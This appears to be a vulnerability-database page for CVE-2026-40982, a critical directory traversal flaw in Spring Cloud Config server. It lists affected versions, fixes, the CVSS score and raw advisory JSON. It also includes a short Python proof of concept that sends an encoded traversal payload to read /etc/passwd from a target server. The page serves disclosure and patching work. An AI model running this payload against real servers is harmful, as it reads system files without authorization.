Security Vulnerability Report
中文
CVE-2026-40982 CVSS 9.1 CRITICAL

CVE-2026-40982

Published: 2026-05-07 04:16:25
Last Modified: 2026-05-12 17:30:36

Description

Spring Cloud Config allows applications to serve arbitrary text and binary files through the spring-cloud-config-server module. A malicious user, or attacker, can send a request using a specially crafted URL that can lead to a directory traversal attack. Spring Cloud Config 3.1.x: affected from 3.1.0 through 3.1.13 (inclusive); upgrade to 3.1.14 or greater (Enterprise Support Only). Spring Cloud Config 4.1.x: affected from 4.1.0 through 4.1.9 (inclusive); upgrade to 4.1.10 or greater (Enterprise Support Only). Spring Cloud Config 4.2.x: affected from 4.2.0 through 4.2.6 (inclusive); upgrade to 4.2.7 or greater (Enterprise Support Only). Spring Cloud Config 4.3.x: affected from 4.3.0 through 4.3.2 (inclusive); upgrade to 4.3.3 or greater. Spring Cloud Config 5.0.x: affected from 5.0.0 through 5.0.2 (inclusive); upgrade to 5.0.3 or greater.

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:vmware:spring_cloud_config:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:vmware:spring_cloud_config:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:vmware:spring_cloud_config:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:vmware:spring_cloud_config:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:vmware:spring_cloud_config:*:*:*:*:*:*:*:* - VULNERABLE
Spring Cloud Config 3.1.0 - 3.1.13
Spring Cloud Config 4.1.0 - 4.1.9
Spring Cloud Config 4.2.0 - 4.2.6
Spring Cloud Config 4.3.0 - 4.3.2
Spring Cloud Config 5.0.0 - 5.0.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def exploit_poc(target_url): """ PoC for CVE-2026-40982: Directory Traversal in Spring Cloud Config Attempts to read /etc/passwd from the target server. """ # Standard path for config server is /{name}/{profile}/{label} # Using traversal sequences in the label or name parameter to escape the context traversal_payload = "..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd" # Constructing the malicious URL # Note: The exact endpoint structure may vary based on configuration attack_url = f"{target_url}/default/default/{traversal_payload}" headers = { "User-Agent": "CVE-2026-40982-Scanner" } try: response = requests.get(attack_url, headers=headers, timeout=10) if response.status_code == 200 and "root:" in response.text: print("[+] Vulnerability detected! File content retrieved:") print(response.text[:500]) # Print first 500 chars else: print("[-] Exploit failed or target not vulnerable.") print(f"Status Code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": target = "http://vulnerable-server:8888" exploit_poc(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-40982", "sourceIdentifier": "[email protected]", "published": "2026-05-07T04:16:24.790", "lastModified": "2026-05-12T17:30:35.937", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Spring Cloud Config allows applications to serve arbitrary text and binary files through the spring-cloud-config-server module. A malicious user, or attacker, can send a request using a specially crafted URL that can lead to a directory traversal attack.\nSpring Cloud Config 3.1.x: affected from 3.1.0 through 3.1.13 (inclusive); upgrade to 3.1.14 or greater (Enterprise Support Only). Spring Cloud Config 4.1.x: affected from 4.1.0 through 4.1.9 (inclusive); upgrade to 4.1.10 or greater (Enterprise Support Only). Spring Cloud Config 4.2.x: affected from 4.2.0 through 4.2.6 (inclusive); upgrade to 4.2.7 or greater (Enterprise Support Only). Spring Cloud Config 4.3.x: affected from 4.3.0 through 4.3.2 (inclusive); upgrade to 4.3.3 or greater. Spring Cloud Config 5.0.x: affected from 5.0.0 through 5.0.2 (inclusive); upgrade to 5.0.3 or greater."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vmware:spring_cloud_config:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.1.0", "versionEndExcluding": "3.1.14", "matchCriteriaId": "A35B9ECF-3B4A-4E35-8CDE-54EC21E723DB"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vmware:spring_cloud_config:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.1.0", "versionEndExcluding": "4.1.10", "matchCriteriaId": "446B9053-153B-41E3-A339-C216572E5450"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vmware:spring_cloud_config:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.2.0", "versionEndExcluding": "4.2.7", "matchCriteriaId": "2B36B389-41C0-400D-BA92-F5905C9BEBFD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vmware:spring_cloud_config:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.3.0", "versionEndExcluding": "4.3.3", "matchCriteriaId": "5E965315-4507-461D-979F-D5F5602EC8D3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vmware:spring_cloud_config:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.0.0", "versionEndExcluding": "5.0.3", "matchCriteriaId": "218A144D-2CDA-4873-899C-7D8718D5601F"}]}]}], "references": [{"url": "https://spring.io/security/cve-2026-40982", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}